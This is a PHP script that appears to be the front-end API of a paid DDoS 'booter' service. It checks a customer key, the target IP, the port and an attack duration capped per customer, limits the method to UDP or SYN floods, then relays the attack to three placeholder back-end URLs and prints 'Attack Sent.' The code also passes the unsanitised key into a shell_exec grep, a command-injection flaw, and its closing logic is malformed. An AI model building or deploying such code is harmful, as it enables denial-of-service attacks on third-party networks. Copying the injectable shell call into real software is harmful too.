<?php
	$key = $_GET["key"];
	$method = $_GET["method"];
    $host = $_GET["host"];
    $port = $_GET["port"];	
    $time = $_GET["time"];

	if ($key == null || $method == null || $host == null || $port == null || $time == null) {
	echo '<h1>The GET format is incorrect. Please make sure all variables are declared correctly within the GET.</h1>';
	exit();
	}
	
	$match = shell_exec("grep $key /var/custlist22.txt");
	list($matchedkey, $maxallowedtime, $maxallowedconcurrents, $username) = explode(" ", $match);
	
	if ($key != $matchedkey) {
	echo '<h1>Access is denied for your supplied key. If this message was not expected please contact an administrator immediately.</h1>';
	exit();
	}
	
	if (!filter_var($host, FILTER_VALIDATE_IP)) {
	echo '<h1>The supplied IP address is formatted incorrectly.</h1>';
	exit();
	}

	$port_options = array("options"=>
       	array("min_range"=>1, "max_range"=>65535));

	if (!filter_var($port, FILTER_VALIDATE_INT, $port_options)) {
	echo '<h1>The supplied port is formatted incorrectly.</h1>';
	exit();
	}

	$time_options = array("options"=>
        array("min_range"=>1, "max_range"=>$maxallowedtime));
	
	if (!filter_var($time, FILTER_VALIDATE_INT, $time_options)) {
	echo '<h1>The supplied time is either formatted incorrectly or is above your provisioned limit.</h1>';
	exit();
	}

	if ($method != "udp" && $method != "UDP" && $method != "ssyn" && $method != "SSYN") {
	echo '<h1>The supplied method does not exist.</h1>';
	exit();
	}
	
	$mh = curl_multi_init();
	
	$tsc1 = curl_init();
	$tsc2 = curl_init();
	$tsc3 = curl_init();	

	curl_setopt($tsc1, CURLOPT_URL, "API LINK 1");
    curl_setopt($tsc1, CURLOPT_HEADER, false);
    curl_setopt($tsc1, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($tsc1, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($tsc2, CURLOPT_URL, "API LINK 2");
    curl_setopt($tsc2, CURLOPT_HEADER, false);
    curl_setopt($tsc2, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($tsc2, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($tsc3, CURLOPT_URL, "API LINK 3");
    curl_setopt($tsc3, CURLOPT_HEADER, false);
    curl_setopt($tsc3, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($tsc3, CURLOPT_CONNECTTIMEOUT, 10);

	curl_multi_add_handle($mh,$tsc1);
    curl_multi_add_handle($mh,$tsc2);
    curl_multi_add_handle($mh,$tsc3);
	
	$running = null; 

	do {
    	$status = curl_multi_exec($mh, $running);
	} while ($status === CURLM_CALL_MULTI_PERFORM || $running);
	
    curl_multi_remove_handle($mh, $tsc1);
    curl_multi_remove_handle($mh, $tsc2);
    curl_multi_remove_handle($mh, $tsc3);

    curl_close($tsc1);
    curl_close($tsc2);
    curl_close($tsc3);
	}
	echo 'Attack Sent.'; {
		echo 'Could Not Send Attack.';
}
?>